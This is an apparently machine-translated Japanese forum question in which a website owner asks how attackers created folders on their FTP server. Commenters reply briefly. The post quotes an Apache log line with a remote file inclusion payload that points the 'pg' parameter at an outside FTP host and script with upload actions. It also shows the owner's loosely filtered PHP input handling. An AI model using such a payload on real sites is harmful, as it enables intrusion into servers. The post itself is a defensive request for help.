大きな問題に直面しており、原因を見つけることができません。私はftpアクセスでポート80のApacheで動作しているウェブサイトを持っています。HTMLからFTPでユーザー作成フォルダ
一部のユーザーが悪意のあるコマンドでFTPフォルダを作成しています。私は、Apacheのログを分析し、次の奇妙な行が見つかりました:私のFTPでは、以下のフォルダが作成された
[08/Jul/2016:22:54:09 -0300] "POST /index.php?pg=ftp://zkeliai:[email protected]/Thumbr.php?x&action=upload&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/ HTTP/1.1" 200 18391 "http://mywebsite/index.php?pg=ftp://zkeliai:[email protected]/Thumbr.php?x&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
を:/public_html/Cliente
私は$_GET['pg']
を使用しています私のコードで作品、参照を持っています。
$pg = isset($_GET['pg']) ? $_GET['pg'] : null;
$pg = htmlspecialchars($pg, ENT_QUOTES);
ハッカーのようにコマンド"pg=ftp://zkeliai..."
を試してみましたが、何も起こりませんでした。私は非常にハッカーが私のFTPのフォルダを作成した方法に混乱しています。
あなたのFTPの制限(ユーザーアクセス)が必要なのかもしれません。 –
'Thumbr.php'はどのように作成されますか?あなたはそれを作成しましたか? – CodeGodie
また、 'index.php'を確認してください、そこに余分なコードはありますか? – CodeGodie